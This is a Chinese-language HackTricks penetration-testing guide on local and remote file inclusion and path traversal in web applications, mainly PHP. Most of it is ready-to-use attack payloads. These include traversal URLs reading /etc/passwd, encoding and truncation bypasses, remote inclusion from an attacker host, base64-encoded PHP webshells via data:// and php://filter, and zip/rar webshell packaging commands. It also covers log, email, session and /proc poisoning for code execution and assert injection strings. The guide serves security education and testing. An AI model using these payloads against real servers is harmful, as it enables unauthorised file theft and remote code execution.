hacktricks/pentesting-web/file-inclusion/README.md

34 KiB
Raw Blame History

文件包含/路径遍历

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS红队专家

支持HackTricks的其他方式

加入HackenProof Discord服务器,与经验丰富的黑客和赏金猎人交流!

黑客见解
参与深入探讨黑客的刺激和挑战的内容

实时黑客新闻
通过实时新闻和见解及时了解快节奏的黑客世界

最新公告
随时了解最新的赏金计划发布和重要平台更新

加入我们的 Discord,立即与顶尖黑客合作!

文件包含

远程文件包含RFI 从远程服务器加载文件最佳您可以编写代码服务器将执行它。在php中默认情况下禁用此功能(allow_url_include)。
本地文件包含LFI 服务器加载本地文件。

当用户以某种方式控制即将由服务器加载的文件时,就会出现漏洞。

PHP函数中的漏洞require、require_once、include、include_once

一个有趣的工具来利用这个漏洞:https://github.com/kurobeats/fimap

盲目 - 有趣 - LFI2RCE文件

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

混合了几个 *nix LFI 列表并添加了更多路径,我创建了这个列表:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}

也尝试将 / 更改为 \
也尝试添加 ../../../../../

可以在这里找到一个使用多种技术查找文件 /etc/password以检查漏洞是否存在的列表。

Windows

合并了不同的单词列表:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}

也尝试将 / 更改为 \
也尝试删除 C:/ 并添加 ../../../../../

可以在这里找到一个使用多种技术查找文件 /boot.ini以检查漏洞是否存在的列表。

OS X

查看 Linux 的 LFI 列表。

基本 LFI 和绕过

所有示例都是关于本地文件包含,但也可以应用于远程文件包含(页面=[http://myserver.com/phpshellcode.txt\](http://myserver.com/phpshellcode.txt)/)。

http://example.com/index.php?page=../../../etc/passwd

非递归剥离的遍历序列

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

空字节 (%00)

绕过在提供的字符串末尾附加更多字符(绕过:$_GET['param']."php"

http://example.com/index.php?page=../../../etc/passwd%00

这个问题自 PHP 5.4 起已解决

编码

您可以使用非标准编码,如双重 URL 编码(等等):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

从现有文件夹中

也许后端正在检查文件夹路径:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

探索服务器上的文件系统目录

可以通过使用特定技术递归地探索服务器的文件系统,以识别目录而不仅仅是文件。该过程涉及确定目录深度并探测特定文件夹的存在。以下是实现此目的的详细方法:

  1. 确定目录深度: 通过成功获取 /etc/passwd 文件如果服务器基于Linux来确定当前目录的深度。例如URL可能结构如下表示深度为三
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. 探测文件夹: 将疑似文件夹的名称(例如,private附加到URL然后导航回 /etc/passwd。额外的目录级别需要将深度增加一级:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. 解释结果: 服务器的响应指示文件夹是否存在:
  • 错误 / 无输出: 文件夹 private 可能不存在于指定位置。
  • /etc/passwd 的内容: 确认存在 private 文件夹。
  1. 递归探索: 可以进一步使用相同技术或传统的本地文件包含LFI方法来探查已发现的文件夹是否有子目录或文件。

要在文件系统中不同位置探索目录,请相应调整有效载荷。例如,要检查 /var/www/ 是否包含 private 目录(假设当前目录深度为 3请使用

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

路径截断技术

路径截断是一种用于操纵Web应用程序中文件路径的方法。通常用于访问受限文件绕过某些在文件路径末尾附加额外字符的安全措施。其目标是构建一个文件路径一旦被安全措施修改仍然指向所需文件。

在PHP中由于文件系统的特性文件路径的各种表示可以被视为等效。例如

  • /etc/passwd/etc//passwd/etc/./passwd/etc/passwd/ 都被视为相同路径。
  • 当最后6个字符是 passwd 时,附加 /(变成 passwd/)不会改变目标文件。
  • 同样,如果在文件路径末尾添加 .php(如 shellcode.php),添加 /. 不会改变所访问的文件。

提供的示例演示了如何利用路径截断来访问 /etc/passwd,这是一个常见目标,因为其中包含敏感内容(用户帐户信息)。

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

在这些情况下可能需要大约2027个遍历但这个数字可能会根据服务器的配置而变化。

  • 使用点段和额外字符:遍历序列(../)与额外的点段和字符结合使用,可以用于导航文件系统,有效地忽略服务器附加的字符串。
  • 确定所需的遍历次数:通过试错,可以找到导航到根目录然后到/etc/passwd所需的精确数量的../序列,确保任何附加的字符串(如.php)被中和,但所需路径(/etc/passwd)保持完整。
  • 从一个虚假目录开始:常见做法是以一个不存在的目录(如a/)开始路径。这种技术被用作一种预防措施或满足服务器路径解析逻辑的要求。

在使用路径截断技术时,了解服务器的路径解析行为和文件系统结构至关重要。每种情况可能需要不同的方法,通常需要测试以找到最有效的方法。

此漏洞已在PHP 5.3中得到修复。

绕过过滤器的技巧

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

远程文件包含

在php中默认情况下禁用了这个功能因为**allow_url_includeOff**。必须将其设置为On才能正常工作在这种情况下您可以从您的服务器包含一个PHP文件并获得RCE

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

如果由于某种原因**allow_url_include被设置为On**但PHP正在过滤对外部网页的访问,根据这篇文章你可以使用数据协议与base64来解码一个b64 PHP代码并获得RCE

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

{% endcode %}

{% hint style="info" %} 在上面的代码中,最后添加了 +.txt,因为攻击者需要一个以 .txt 结尾的字符串,所以字符串以它结尾,在经过 b64 解码后,该部分将只返回垃圾数据,而真正的 PHP 代码将被包含(因此,被执行)。 {% endhint %}

另一个示例不使用 php:// 协议的例子是:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

{% endcode %}

Python 根元素

在 Python 中,像下面这样的代码:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

如果用户传递了绝对路径到**file_name,则之前的路径将被移除**

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

根据文档的意图行为如下:

如果一个组件是绝对路径,则所有先前的组件都将被丢弃,并继续从绝对路径组件进行连接。

Java列出目录

看起来如果在Java中存在路径遍历并且您请求一个目录而不是一个文件,则会返回目录的列表。这在其他语言中不会发生(据我所知)。

前25个参数

以下是可能容易受到本地文件包含LFI漏洞影响的前25个参数列表来自链接:

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

使用 PHP 包装器和协议的 LFI / RFI

php://filter

PHP 过滤器允许在读取或写入数据之前执行基本的修改操作。有 5 类过滤器:

  • 字符串过滤器:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: 从数据中删除标签(位于 "<" 和 ">" 字符之间的所有内容)
  • 请注意,此过滤器已经从现代版本的 PHP 中消失
  • 转换过滤器
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.*:转换为不同的编码(convert.iconv.<input_enc>.<output_enc>)。要获取支持的所有编码列表,请在控制台中运行:iconv -l

{% hint style="warning" %} 滥用 convert.iconv.* 转换过滤器,您可以生成任意文本,这可能对编写任意文本或执行包含过程中的任意文本很有用。有关更多信息,请查看 通过 php 过滤器进行 LFI2RCE。 {% endhint %}

  • 压缩过滤器
  • zlib.deflate: 压缩内容(如果需要外泄大量信息,则很有用)
  • zlib.inflate: 解压数据
  • 加密过滤器
  • mcrypt.*:已弃用
  • mdecrypt.*:已弃用
  • 其他过滤器
  • 在 php 中运行 var_dump(stream_get_filters());,您可以找到一些意外的过滤器
  • consumed
  • dechunk:反转 HTTP 分块编码
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

{% hint style="warning" %} 部分 "php://filter" 是不区分大小写的 {% endhint %}

使用php过滤器作为预言者读取任意文件

在这篇文章中提出了一种技术,可以在没有从服务器返回输出的情况下读取本地文件。这种技术基于使用php过滤器作为预言者逐个字符地提取文件。这是因为php过滤器可以用来使文本变得足够大以使php抛出异常。

在原始文章中,您可以找到该技术的详细解释,但这里是一个快速摘要:

  • 使用编解码器**UCS-4LE**将文本的前导字符留在开头,并使字符串的大小呈指数增长。
  • 这将用于生成一个当正确猜测初始字母时非常大的文本以便php触发一个错误
  • dechunk过滤器将删除所有内容,如果第一个字符不是十六进制,因此我们可以知道第一个字符是否是十六进制。
  • 这与先前的过滤器结合使用以及根据猜测的字母使用其他过滤器将允许我们通过查看我们进行足够的转换使其不再是十六进制字符来猜测文本开头的字母。因为如果是十六进制dechunk不会删除它初始炸弹将使php出错。
  • 编解码器convert.iconv.UNICODE.CP930将每个字母转换为下一个字母因此在此编解码器之后a -> b。这使我们可以发现第一个字母是否是a例如因为如果我们应用6次这个编解码器 a->b->c->d->e->f->g那么这个字母不再是十六进制字符因此dechunk不会删除它php错误会被触发因为它与初始炸弹相乘。
  • 使用其他转换,如rot13在开头可以泄漏其他字符如n、o、p、q、r还可以使用其他编解码器将其他字母移动到十六进制范围内
  • 当初始字符是数字时需要对其进行base64编码并泄漏前两个字母以泄漏该数字。
  • 最终的问题是看如何泄漏比初始字母更多的内容。通过使用顺序记忆过滤器,如convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE,可以改变字符的顺序,并在文本的第一个位置获取其他字母。
  • 为了能够获取更多数据的想法是在开头生成2字节的无用数据,使用convert.iconv.UTF16.UTF16,应用UCS-4LE使其与接下来的2字节对齐,并删除数据直到无用数据这将删除初始文本的前2字节。继续这样做直到达到要泄漏的位。

在文章中还泄漏了一个自动执行此操作的工具:php_filters_chain_oracle_exploit

php://fd

此包装器允许访问进程打开的文件描述符。可能有助于泄漏已打开文件的内容:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

你也可以使用 php://stdin, php://stdout 和 php://stderr 来分别访问 文件描述符 0, 1 和 2(不确定这在攻击中如何有用)

zip:// 和 rar://

上传一个包含 PHPShell 的 Zip 或 Rar 文件并访问它。
为了能够滥用 rar 协议,需要专门激活

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

data://伪协议是一种用于在网页中嵌入数据的方法。这种方法可以用于利用文件包含漏洞,将恶意数据注入到网页中。

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

请注意,此协议受 php 配置 allow_url_openallow_url_include 限制

expect://

Expect 必须被激活。您可以使用此方法执行代码:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

输入://

在POST参数中指定您的有效载荷

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

当一个网络应用程序利用include等函数进行文件加载时,可以利用.phar文件来执行PHP代码。下面提供的PHP代码片段演示了如何创建一个.phar文件:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

要编译.phar文件,请执行以下命令:

php --define phar.readonly=0 create_path.php

在执行时,将创建一个名为 test.phar 的文件可能会被利用来利用本地文件包含LFI漏洞。

在仅执行文件读取而不执行其中的 PHP 代码的 LFI 情况下,可以尝试利用反序列化漏洞。该漏洞与使用 phar 协议读取文件相关联。

有关在 .phar 文件上利用反序列化漏洞的详细理解,请参考下面链接的文档:

Phar 反序列化利用指南

{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

更多协议

检查更多可能的在此包含的协议:

  • php://memory 和 php://temp — 写入内存或临时文件(不确定这在文件包含攻击中如何有用)
  • file:// — 访问本地文件系统
  • http:// — 访问 HTTP(s) URL
  • ftp:// — 访问 FTP(s) URL
  • zlib:// — 压缩流
  • glob:// — 查找与模式匹配的路径名(它不返回任何可打印的内容,因此在这里并不真正有用)
  • ssh2:// — 安全外壳 2
  • ogg:// — 音频流(不适用于读取任意文件)

通过 PHP 的 'assert' 进行 LFI

在处理 'assert' 函数时PHP 中的本地文件包含LFI风险特别高因为它可以执行字符串中的代码。如果输入包含类似 ".." 的目录遍历字符但未经适当消毒,则这一点尤为棘手。

例如PHP 代码可能被设计为防止目录遍历,如下所示:

assert("strpos('$file', '..') === false") or die("");

虽然这旨在阻止遍历,但无意中为代码注入创造了一个向量。要利用此漏洞读取文件内容,攻击者可以使用:

' and die(highlight_file('/etc/passwd')) or '

同样地,要执行任意系统命令,可以使用:

' and die(system("id")) or '

很重要对这些载荷进行URL编码

加入HackenProof Discord服务器,与经验丰富的黑客和赏金猎人交流!

黑客见解
参与深入探讨黑客的刺激和挑战的内容

实时黑客新闻
通过实时新闻和见解及时了解快节奏的黑客世界

最新公告
随时了解最新的赏金任务发布和重要平台更新

加入我们的 Discord 并开始与顶尖黑客合作!

PHP盲目路径遍历

{% hint style="warning" %} 在您控制访问文件PHP函数文件路径但不会看到文件内容(如简单调用**file()**)但内容不显示的情况下,此技术是相关的。 {% endhint %}

这篇令人难以置信的文章解释了如何通过PHP过滤器滥用盲目路径遍历以通过错误神谕泄露文件内容

简而言之,该技术使用**“UCS-4LE”编码使文件内容变得如此庞大**,以至于打开文件的PHP函数将触发一个错误

然后,为了泄露第一个字符,使用**dechunk过滤器以及其他过滤器,如base64rot13**,最后使用convert.iconv.UCS-4.UCS-4LEconvert.iconv.UTF16.UTF-16BE过滤器将其他字符放在开头并泄露它们

可能受到影响的函数file_get_contentsreadfilefinfo->filegetimagesizemd5_filesha1_filehash_filefileparse_ini_filecopyfile_put_contents仅目标只读stream_get_contentsfgetsfreadfgetcfgetcsvfpassthrufputs

有关技术细节,请查看上述文章!

LFI2RCE

远程文件包含

如前所述,请点击此链接

通过Apache/Nginx日志文件

如果Apache或Nginx服务器容易受到LFI在包含函数内部,您可以尝试访问**/var/log/apache2/access.log/var/log/nginx/access.log,在用户代理GET参数中设置一个像<?php system($_GET['c']); ?>**的php shell并包含该文件

{% hint style="warning" %} 请注意,如果您使用双引号而不是单引号来定义shell双引号将被修改为字符串“quote;”,PHP会在那里抛出错误不会执行其他任何操作

此外,请确保正确编写载荷否则PHP每次尝试加载日志文件时都会出错您将没有第二次机会。 {% endhint %}

这也可以在其他日志中完成,但要小心日志中的代码可能已进行URL编码这可能会破坏Shell。标头**授权“basic”**包含Base64中的“user:password”并在日志中解码。PHPShell可以插入此标头内。
其他可能的日志路径:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

通过电子邮件

发送一封邮件到内部账户user@localhost包含您的 PHP payload例如 <?php echo system($_REQUEST["cmd"]); ?>,并尝试通过路径如 /var/mail/<USERNAME>/var/spool/mail/<USERNAME> 包含到用户的邮件中

通过 /proc/*/fd/*

  1. 上传大量的 shells例如100
  2. 包含 http://example.com/index.php?page=/proc/$PID/fd/$FD,其中 $PID = 进程的 PID可以暴力破解$FD 是文件描述符(也可以暴力破解)

通过 /proc/self/environ

像日志文件一样,在 User-Agent 中发送 payload它将反映在 /proc/self/environ 文件中

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

通过上传

如果您可以上传文件只需在其中注入shell payload例如<?php system($_GET['c']); ?>)。

http://example.com/index.php?page=path/to/uploaded/file.png

为了保持文件的可读性,最好是注入到图片/文档/PDF的元数据中

通过Zip文件上传

上传一个包含压缩的PHP shell的ZIP文件并访问

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

通过 PHP 会话

检查网站是否使用 PHP 会话PHPSESSID

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

在PHP中这些会话被存储在/var/lib/php5/sess\[PHPSESSID]文件中

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

将cookie设置为<?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

使用本地文件包含LFI漏洞来包含PHP会话文件

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

通过ssh

如果ssh处于活动状态请检查正在使用哪个用户/proc/self/status 和 /etc/passwd并尝试访问 <HOME>/.ssh/id_rsa

通过 vsftpd 日志

FTP 服务器 vsftpd 的日志位于 /var/log/vsftpd.log。在存在本地文件包含LFI漏洞且可以访问到暴露的 vsftpd 服务器的情况下,可以考虑以下步骤:

  1. 在登录过程中的用户名字段中注入 PHP 载荷。
  2. 注入后,利用 LFI 从 /var/log/vsftpd.log 检索服务器日志。

通过 php base64 过滤器(使用 base64

文章所示PHP base64 过滤器会忽略非 base64 编码。您可以利用这一点绕过文件扩展名检查:如果提供以 ".php" 结尾的 base64它会忽略 "." 并将 "php" 附加到 base64。以下是一个示例载荷

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

通过php过滤器无需文件

这篇writeup解释了您可以使用php过滤器生成任意内容作为输出。这基本上意味着您可以生成任意的php代码以供包含,而无需将其写入文件中。

{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}

通过分段错误

上传一个将被存储为临时文件/tmp中,然后在同一请求中触发一个分段错误,然后临时文件不会被删除,您可以搜索它。

{% content-ref url="lfi2rce-via-segmentation-fault.md" %} lfi2rce-via-segmentation-fault.md {% endcontent-ref %}

通过Nginx临时文件存储

如果您发现了本地文件包含,并且Nginx在PHP前面运行您可能能够使用以下技术获得RCE

{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}

通过PHP_SESSION_UPLOAD_PROGRESS

如果您发现了本地文件包含,即使您没有会话,并且session.auto_startOff。如果您在多部分POST数据中提供**PHP_SESSION_UPLOAD_PROGRESSPHP将为您启用会话**。您可以滥用此功能来获得RCE

{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}

通过Windows中的临时文件上传

如果您发现了本地文件包含,并且服务器在Windows上运行您可能会获得RCE

{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref %}

通过phpinfo()file_uploads = on

如果您发现了本地文件包含,并且一个文件暴露了phpinfo()其中file_uploads = on您可以获得RCE

{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}

通过compress.zlib + PHP_STREAM_PREFER_STUDIO + 路径泄露

如果您发现了本地文件包含,并且您可以泄露临时文件的路径,但是服务器正在检查要包含的文件是否具有PHP标记您可以尝试使用此竞争条件绕过该检查

{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}

通过永久等待 + 暴力破解

如果您可以滥用LFI来上传临时文件并使服务器挂起PHP执行然后您可以在数小时内暴力破解文件名以找到临时文件:

{% content-ref url="lfi2rce-via-eternal-waiting.md" %} lfi2rce-via-eternal-waiting.md {% endcontent-ref %}

致命错误

如果您包含任何文件/usr/bin/phar/usr/bin/phar7/usr/bin/phar.phar7/usr/bin/phar.phar。(您需要两次包含相同的文件才能引发该错误)。

我不知道这有什么用,但可能有用。
即使引发PHP致命错误PHP上传的临时文件也会被删除。

参考资料

{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}

加入HackenProof Discord服务器,与经验丰富的黑客和赏金猎人交流!

黑客见解
参与深入探讨黑客的刺激和挑战的内容

实时黑客新闻
通过实时新闻和见解保持与快节奏的黑客世界同步

最新公告
通过最新的赏金计划发布和重要平台更新保持信息更新

加入我们的Discord,立即与顶尖黑客合作!

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS Red Team Expert

支持HackTricks的其他方式